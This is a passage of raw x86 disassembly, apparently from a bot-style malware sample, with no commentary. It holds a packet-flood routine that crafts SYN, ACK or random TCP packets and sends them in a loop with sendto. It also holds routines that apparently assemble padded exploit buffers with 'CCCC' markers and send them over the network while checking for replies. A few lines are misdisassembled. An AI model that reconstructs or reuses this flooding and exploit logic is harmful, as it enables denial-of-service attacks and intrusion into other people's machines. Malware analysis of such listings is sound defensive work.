		idiv	ecx
		push	edx
		call	ds:dword_430794	; ntohs
		push	12345678h
		mov	[ebp-18h], ax
		call	ds:dword_430790	; ntohl
		mov	[ebp-14h], eax
		lea	eax, [ebp-1BCh]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_410AE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: seg000:00401EB7j
		lea	eax, [ebp-1BCh]
		push	offset aAck	; "ack"
		push	eax
		call	sub_410AE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EE2:				; CODE XREF: seg000:00401ED7j
		lea	eax, [ebp-1BCh]
		push	offset aRandom	; "random"
		push	eax
		call	sub_410AE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_410567
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-10h], edx
		call	sub_410567
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-0Bh], dl


loc_401F1E:				; CODE XREF: seg000:00401EC0j
					; seg000:00401EE0j ...
		push	200h
		mov	byte ptr [ebp-0Ch], 50h
		call	ds:dword_430794	; ntohs
		mov	[ebp-0Ah], ax
		mov	eax, [ebp-20h]
		mov	[ebp-64h], eax
		mov	eax, [ebp-1Ch]
		push	14h
		mov	[ebp-6], bx
		mov	[ebp-8], bx
		mov	[ebp-60h], eax
		mov	[ebp-5Ch], bl
		mov	byte ptr [ebp-5Bh], 6
		call	ds:dword_430794	; ntohs
		mov	[ebp-5Ah], ax
		lea	eax, [ebp-64h]
		push	20h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4105F0
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-80h]
		push	eax
		call	sub_4105F0
		lea	eax, [ebp-0A0h]
		push	34h
		push	eax
		call	sub_40748E
		mov	[ebp-8], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4105F0
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_4105F0
		push	4
		lea	eax, [ebp-78h]
		push	ebx
		push	eax
		call	sub_410590
		add	esp, 44h
		lea	eax, [ebp-0A0h]
		push	28h
		push	eax
		call	sub_40748E
		mov	[ebp-22h], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4105F0
		add	esp, 14h
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0A0h]
		push	3Ch
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_4307F4	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	dword ptr [ebp+8]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------


loc_40200B:				; CODE XREF: seg000:00402001j
		push	dword ptr [ebp-4]
		call	ds:dword_430828	; closesocket
		call	ds:dword_430730	; WSAGetLastError
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		push	offset dword_41E334
		lea	eax, [ebp-440h]
		push	200h
		push	eax
		call	sub_410A8A
		add	esp, 18h
		cmp	[ebp-0A8h], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40E367
		add	esp, 14h


loc_402069:				; CODE XREF: seg000:00402044j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-0BCh]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_402088:				; CODE XREF: seg000:0040208Aj
					; seg000:00401DD9j
		and	al, 0FFh
		jnz	short loc_402088
		call	ds:dword_430828	; closesocket
		mov	eax, [ebp+8]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	dword ptr [ebp-0B4h]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-1BCh]
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41E2D0
		push	eax
		call	sub_41050B
		add	esp, 1Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40E367
		add	esp, 14h


loc_4020FA:				; CODE XREF: seg000:004020D5j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_407E0E
		push	dword ptr [ebp-0BCh]
		call	sub_4102D3
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		mov	eax, ds:6083C18Bh ; CODE XREF: sub_40238E+Ep
					; sub_40238E+33p ...
		add	al, 0


loc_402120:				; DATA XREF: seg002:off_426228o
		and	dword ptr [eax], 0
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402124	proc near		; CODE XREF: sub_40238E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_410C0F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_402156
		push	ebx
		push	0
		push	edi
		call	sub_410590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4105F0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_402156:				; CODE XREF: sub_402124+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40215E	proc near		; CODE XREF: sub_402258+18p
					; sub_4022D2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_410C0F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4021AA
		push	edi
		push	0
		push	esi
		call	sub_410590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4105F0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4105F0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_4021AA:				; CODE XREF: sub_40215E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40215E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021B3	proc near		; CODE XREF: sub_402258+5Ep
					; sub_402258+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4021C3
		push	eax
		call	sub_410C83
		pop	ecx


loc_4021C3:				; CODE XREF: sub_4021B3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_4021B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4021CC	proc near		; CODE XREF: sub_402258+20p
					; sub_402333+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4021F9
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_410C0F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4021FD


loc_4021F9:				; CODE XREF: sub_4021CC+Dj
		xor	al, al
		jmp	short loc_402254
; ---------------------------------------------------------------------------


loc_4021FD:				; CODE XREF: sub_4021CC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_410590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_402222
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40223C
; ---------------------------------------------------------------------------


loc_402222:				; CODE XREF: sub_4021CC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40223C:				; CODE XREF: sub_4021CC+54j
		push	eax
		call	sub_4105F0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_410C83
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_402254:				; CODE XREF: sub_4021CC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4021CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402258	proc near		; CODE XREF: sub_40238E+89p
					; sub_40238E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_42F3E4
		call	sub_40215E
		lea	ecx, [ebp+var_8]
		call	sub_4021CC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_410C0F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_402292
		xor	al, al
		jmp	short loc_4022CE
; ---------------------------------------------------------------------------


loc_402292:				; CODE XREF: sub_402258+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_410590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4105F0
		add	esp, 18h
		mov	ecx, esi
		call	sub_4021B3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_4021B3
		mov	al, 1


loc_4022CE:				; CODE XREF: sub_402258+38j
		pop	edi
		pop	esi
		leave
		retn
sub_402258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022D2	proc near		; CODE XREF: sub_402306+14p
					; sub_402323+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40215E
		mov	ecx, esi
		call	sub_4021B3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_4022D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_402306	proc near		; CODE XREF: sub_40238E+F0p
					; sub_40238E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_410B60
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_4022D2
		pop	esi
		retn	4
sub_402306	endp


; =============== S U B	R O U T	I N E =======================================



sub_402323	proc near		; CODE XREF: sub_40236F+Bp
					; sub_40238E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4022D2
		retn	8
sub_402323	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402333	proc near		; CODE XREF: sub_40236F+16p
					; sub_40238E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_4021CC
		test	al, al
		jz	short loc_40236C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_41F1BB+1)
		call	sub_40215E
		mov	ecx, esi
		call	sub_4021B3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40236C:				; CODE XREF: sub_402333+Fj
		pop	esi
		leave
		retn
sub_402333	endp


; =============== S U B	R O U T	I N E =======================================



sub_40236F	proc near		; CODE XREF: sub_40238E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_402323
		test	al, al
		jz	short loc_40238A
		mov	ecx, esi
		call	sub_402333


loc_40238A:				; CODE XREF: sub_40236F+12j
		pop	esi
		retn	8
sub_40236F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40238E	proc near		; CODE XREF: sub_402B8D+86p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	near ptr loc_402119+1
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_4026E2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_4026E2
		push	esi
		lea	ecx, [ebp+var_30]
		call	near ptr loc_402119+1
		lea	ecx, [ebp+var_20]
		call	near ptr loc_402119+1
		lea	ecx, [ebp+var_50]
		call	near ptr loc_402119+1
		lea	ecx, [ebp+var_18]
		call	near ptr loc_402119+1
		lea	ecx, [ebp+var_40]
		call	near ptr loc_402119+1
		lea	ecx, [ebp+var_38]
		call	near ptr loc_402119+1
		lea	ecx, [ebp+var_28]
		call	near ptr loc_402119+1
		push	4
		push	offset dword_41EE5C
		lea	ecx, [ebp+var_30]
		call	sub_4022D2
		push	3
		push	offset dword_41EE64
		lea	ecx, [ebp+var_30]
		call	sub_4022D2
		lea	ecx, [ebp+var_30]
		call	sub_402258
		lea	ecx, [ebp+var_30]
		call	sub_402333
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_41EE50
		call	sub_4022D2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_4022D2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4022D2
		lea	ecx, [ebp+var_20]
		call	sub_402258
		push	offset loc_41F1E4
		lea	ecx, [ebp+var_50]
		call	sub_402306
		lea	ecx, [ebp+var_50]
		call	sub_402258
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_402124
		lea	ecx, [ebp+var_58]
		call	sub_402258
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40236F
		lea	ecx, [ebp+var_58]
		call	sub_4021B3
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_410590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_402306
		push	4
		push	offset dword_41EE68
		lea	ecx, [ebp+var_18]
		call	sub_4022D2
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_4022D2
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_4022D2
		lea	ecx, [ebp+var_18]
		call	sub_402258
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_402323
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_402323
		lea	ecx, [ebp+var_40]
		call	sub_402333
		lea	ecx, [ebp+var_18]
		call	sub_4021B3
		lea	ecx, [ebp+var_50]
		call	sub_4021B3
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_402323
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_402323
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_402323
		lea	ecx, [ebp+var_38]
		call	sub_402333
		lea	ecx, [ebp+var_20]
		call	sub_4021B3
		lea	ecx, [ebp+var_30]
		call	sub_4021B3
		lea	ecx, [ebp+var_40]
		call	sub_4021B3
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_4022D2
		lea	ecx, [ebp+var_28]
		call	sub_402258
		push	2
		push	offset dword_41F1D8
		lea	ecx, [ebp+var_28]
		call	sub_4022D2
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_402323
		lea	ecx, [ebp+var_28]
		call	sub_402333
		lea	ecx, [ebp+var_38]
		call	sub_4021B3
		lea	ecx, [ebp+var_10]
		call	near ptr loc_402119+1
		lea	ecx, [ebp+var_8]
		call	near ptr loc_402119+1
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_402323
		lea	ecx, [ebp+var_10]
		call	sub_4021CC
		lea	ecx, [ebp+var_28]
		call	sub_4021B3
		push	offset dword_41F1D4
		lea	ecx, [ebp+var_8]
		call	sub_402306
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402323
		lea	ecx, [ebp+var_8]
		call	sub_4021CC
		lea	ecx, [ebp+var_10]
		call	sub_4021B3
		push	offset dword_41F1D0
		lea	ecx, [ebp+var_10]
		call	sub_402306
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_402323
		lea	ecx, [ebp+var_10]
		call	sub_4021CC
		lea	ecx, [ebp+var_8]
		call	sub_4021B3
		push	offset dword_41F1C4
		lea	ecx, [ebp+var_8]
		call	sub_402306
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402323
		lea	ecx, [ebp+var_8]
		call	sub_4021CC
		lea	ecx, [ebp+var_10]
		call	sub_4021B3
		push	offset dword_41F1C0
		lea	ecx, [ebp+var_48]
		call	sub_402306
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_402323
		lea	ecx, [ebp+var_8]
		call	sub_4021B3
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_4026F0
; ---------------------------------------------------------------------------


loc_4026E2:				; CODE XREF: sub_40238E+1Bj
					; sub_40238E+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_4026F0:				; CODE XREF: sub_40238E+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40238E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026F4	proc near		; CODE XREF: sub_4027B8+A1p
					; sub_4027B8+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_41C1B0	; select
		cmp	eax, edi
		jnz	short loc_40275B
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41AFF8	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40275F


loc_40275B:				; CODE XREF: sub_4026F4+54j
		xor	eax, eax
		jmp	short loc_40276F
; ---------------------------------------------------------------------------


loc_40275F:				; CODE XREF: sub_4026F4+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_4307AC	; recv


loc_40276F:				; CODE XREF: sub_4026F4+69j
		pop	edi
		pop	esi
		leave
		retn
sub_4026F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402773	proc near		; CODE XREF: sub_4027B8+81p
					; sub_4027B8+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_430790	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4307E0	; send
		cmp	eax, 4
		jz	short loc_40279D
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40279D:				; CODE XREF: sub_402773+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4307E0	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_402773	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027B8	proc near		; CODE XREF: sub_402892+48p
					; sub_402B8D+181p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_410C0F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_4027E1
		xor	al, al
		jmp	loc_40288D
; ---------------------------------------------------------------------------


loc_4027E1:				; CODE XREF: sub_4027B8+20j
		push	ebx
		push	0
		push	esi
		call	sub_410590
		push	2Fh
		push	offset dword_41EEF8
		push	esi
		call	sub_4105F0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_41EF28
		push	eax
		mov	[esi+2Fh], di
		call	sub_4105F0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4105F0
		push	6
		add	ebx, edi
		push	offset dword_42F3DC
		push	ebx
		call	sub_4105F0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_41EE70
		push	ebx
		call	sub_402773
		add	esp, 48h
		test	al, al
		jnz	short loc_402849


loc_402845:				; CODE XREF: sub_4027B8+B5j
		xor	bl, bl
		jmp	short loc_402884
; ---------------------------------------------------------------------------


loc_402849:				; CODE XREF: sub_4027B8+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_4026F4
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_402773
		add	esp, 1Ch
		test	al, al
		jz	short loc_402845
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_4026F4
		add	esp, 10h
		mov	bl, 1


loc_402884:				; CODE XREF: sub_4027B8+8Fj
		push	esi
		call	sub_410C83
		pop	ecx
		mov	al, bl


loc_40288D:				; CODE XREF: sub_4027B8+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4027B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402892	proc near		; CODE XREF: sub_402B8D+167p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_41EF34
		push	[ebp+arg_0]
		call	ds:dword_41C1CC	; send
		cmp	eax, 48h
		jnz	short loc_4028CD
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_4026F4
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4028CD
		cmp	[ebp+var_20], 82h
		jz	short loc_4028D1


loc_4028CD:				; CODE XREF: sub_402892+1Bj
					; sub_402892+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4028D1:				; CODE XREF: sub_402892+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4027B8
		add	esp, 0Ch
		leave
		retn
sub_402892	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028E4	proc near		; CODE XREF: sub_402930+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_41C220
		call	sub_410DD4
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_41C218
		fstp	[esp+10h+var_10]
		call	sub_410CB2
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_410DD4
		inc	eax
		leave
		retn
sub_4028E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_402930	proc near		; CODE XREF: sub_402AD2+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_41B157
		call	sub_4112A0
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_402FA7
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_4028E4
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_402972
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_402F22


loc_402972:				; CODE XREF: sub_402930+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_402A8F
		mov	ebx, [ebp+10h]


loc_402981:				; CODE XREF: sub_402930+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40298B
		push	3
		jmp	short loc_40299D
; ---------------------------------------------------------------------------


loc_40298B:				; CODE XREF: sub_402930+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_402995
		push	2
		jmp	short loc_40299D
; ---------------------------------------------------------------------------


loc_402995:				; CODE XREF: sub_402930+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40299E
		push	1


loc_40299D:				; CODE XREF: sub_402930+59j
					; sub_402930+63j
		pop	ebx


loc_40299E:				; CODE XREF: sub_402930+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_41C230
		fstp	[esp+40h+var_40]
		call	sub_410DFB
		pop	ecx
		pop	ecx
		call	sub_410DD4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
